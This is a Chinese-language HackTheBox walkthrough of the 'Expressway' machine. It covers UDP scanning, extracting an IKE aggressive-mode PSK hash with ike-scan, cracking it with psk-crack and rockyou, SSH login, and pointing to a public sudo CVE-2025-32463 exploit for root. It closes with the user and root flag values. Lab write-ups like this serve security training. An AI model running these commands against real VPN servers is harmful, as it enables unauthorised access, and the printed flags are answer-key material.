hackthebox Expressway：从isakmp获取哈希到提权

信息收集

nmap 10.129.238.52 Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-18 21:43 CST Nmap scan report for expressway.htb (10.129.238.52) Host is up (0.30s latency). Not shown: 999 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh nmap -sV-Pn -p22 --script=ssh-auth-methods 10.129.238.52 Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-18 19:33 CST Nmap scan report for 10.129.238.52 Host is up (0.100s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 10.0p2 Debian 8 (protocol 2.0)| ssh-auth-methods: | Supported authentication methods: | publickey |_ password Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 

只开放一个22端口，没有获取其他信息。且openssh版本很高

sudo nmap -sU 10.129.238.52 Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-18 19:40 CST Nmap scan report for 10.129.238.52 Host is up (0.13s latency). Not shown: 992 closed udp ports (port-unreach) PORT STATE SERVICE 68/udp open|filtered dhcpc 69/udp open|filtered tftp 500/udp open isakmp 4500/udp open|filtered nat-t-ike 20313/udp open|filtered unknown 27015/udp open|filtered halflife 35777/udp open|filtered unknown 55544/udp open|filtered unknown 

500端口开启了一个udp服务的isakmp

ike-scan -A 10.129.238.52 Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) 10.129.238.52 Aggressive Mode Handshake returned HDR=(CKY-R=acc21ad3257774c3) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, [email protected]) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)

发现一个[email protected]

将10.129.238.52 expressway.htb加入到/etc/hosts

ike-scan -P -M -A -n fakeID 10.129.238.52 Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) 10.129.238.52 Aggressive Mode Handshake returned HDR=(CKY-R=b2bf75e8f8aaefe5) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, [email protected]) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes) IKE PSK parameters (g_xr:g_xi:cky_r:cky_i:sai_b:idir_b:ni_b:nr_b:hash_r): 3e793795560327851aff89e01824997613223fc0d107fc328c91f53856e0accfc3d4d358b2a136fe597d70d4a5600c2eb83c5cc57600d19e77ab61fd5fae55833b0c918789f17fa87c54644270caf85868d092d0370087b33926a11be6c860d612e268e395f2389578b3869706cf4561f17a87e723d89dee10995e69e7520858:4cbeb43dbd436199ec9aa35c15324dcf035520141daf86ad4870afd17e5ead150d5fcfef97a477115ce7b9ff7d12bf99ddfaca659bfc21f7cdd3b7ddc54b7c30534c4c98dfbc73b13e5c018e0841adb4c7cbc9ef1fbf74b198ed63e402760bd02b02a3c7063780b7097402a6126029d1c4a08303d901e8d96008b56c4522be63:b2bf75e8f8aaefe5:99026807e4a02ac3:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687462:20d544a13c6e7b9fc2e141c6aa51b149af2e3d70:141674c019572ee01fb468bda80445a3455ab0544943bcf279c5d1a4e07d2bbd:b9b5e8c2d7e9a56ed1e4bf5490ab0ad8dcd8171c 

拿到hash值可以利用配套的psk-crack进行hash解密

echo'3e793795560327851aff89e01824997613223fc0d107fc328c91f53856e0accfc3d4d358b2a136fe597d70d4a5600c2eb83c5cc57600d19e77ab61fd5fae55833b0c918789f17fa87c54644270caf85868d092d0370087b33926a11be6c860d612e268e395f2389578b3869706cf4561f17a87e723d89dee10995e69e7520858:4cbeb43dbd436199ec9aa35c15324dcf035520141daf86ad4870afd17e5ead150d5fcfef97a477115ce7b9ff7d12bf99ddfaca659bfc21f7cdd3b7ddc54b7c30534c4c98dfbc73b13e5c018e0841adb4c7cbc9ef1fbf74b198ed63e402760bd02b02a3c7063780b7097402a6126029d1c4a08303d901e8d96008b56c4522be63:b2bf75e8f8aaefe5:99026807e4a02ac3:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687462:20d544a13c6e7b9fc2e141c6aa51b149af2e3d70:141674c019572ee01fb468bda80445a3455ab0544943bcf279c5d1a4e07d2bbd:b9b5e8c2d7e9a56ed1e4bf5490ab0ad8dcd8171c' > hash psk-crack -d /usr/share/wordlists/rockyou.txt hash Starting psk-crack [ike-scan 1.9.6](http://www.nta-monitor.com/tools/ike-scan/) Running in dictionary cracking mode key "freakingrockstarontheroad" matches SHA1 hash 0ccb90ae7420110544da4040192501fdaa42188a Ending psk-crack: 8045040 iterations in 5.821 seconds (1382017.44 iterations/sec)

密码：freakingrockstarontheroad

尝试ssh连接

提权

find /-perm -u=s -type f 2>/dev/null /usr/sbin/exim4 /usr/local/bin/sudo /usr/bin/passwd /usr/bin/mount/usr/bin/gpasswd /usr/bin/su /usr/bin/sudo /usr/bin/umount /usr/bin/chfn /usr/bin/chsh /usr/bin/newgrp /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/openssh/ssh-keysign /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper exim4 --version Exim version 4.98.2 #版本太高没有提权exp

注意到有两个sudo

sudo --version Sudo version 1.9.17 Sudoers policy plugin version 1.9.17 Sudoers file grammar version 50 Sudoers I/O plugin version 1.9.17 Sudoers audit plugin version 1.9.17 

可以在网上查到CVE-2025-32463是关于sudo提权的

exp:https://github.com/r3dBust3r/CVE-2025-32463/blob/main/CVE-2025-32463

小结

1. tcp端口过少时可以利用-sU扫描udp端口的服务
2. ISAKMP是 IPsec VPN 的一个“框架协议”，ike-scan 的做法：它模拟一个真实的 VPN 客户端，向目标发送一个标准的 ISAKMP 协商请求包。如果对方是 VPN 服务器，根据协议规定，它必须回包。通过这个回包，ike-scan 就能确认该主机存活且运行着 VPN 服务
3. “激进模式”的漏洞：ike-scan 的做法：发送一个激进模式请求。结果：服务器为了快速建立连接，会直接把身份验证的哈希值回传。这就像是还没进门，对方就把锁的形状告诉你了
4. 查找提权方法的时候也可利用linpeas(https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)自动化收集提权信息
5. ike-scan工具可以用来扫描isakmp服务
   • -A (Aggressive Mode): 这是该命令的核心。它告诉工具使用激进模式进行协商。在激进模式下，服务器会将身份验证哈希（PSK Hash）发送给客户端。
   • -M (Multiline): 让输出结果以多行格式显示。这使得读取复杂的负载（Payload）信息和厂商指纹更加直观，不会挤成一行。
   • -P (PSK Crack): 告诉工具提取并显示预共享密钥哈希。如果服务器响应了激进模式请求，你会看到一串很长的十六进制字符串，这就是你下一步需要破解的目标。
   • -n fakeID: 指定一个组 ID（Group ID/Name）。很多 VPN 配置为只有提供正确的组名才会响应激进模式请求。这里使用 fakeID 是为了测试服务器是否对任意 ID 都有响应，或者探测其验证逻辑。

answer

Submit User Flag

b08c38f04fe00a6752acc2db31b62b6f

Submit Root Flag

095b36866b7562386d85b3f77f8644e8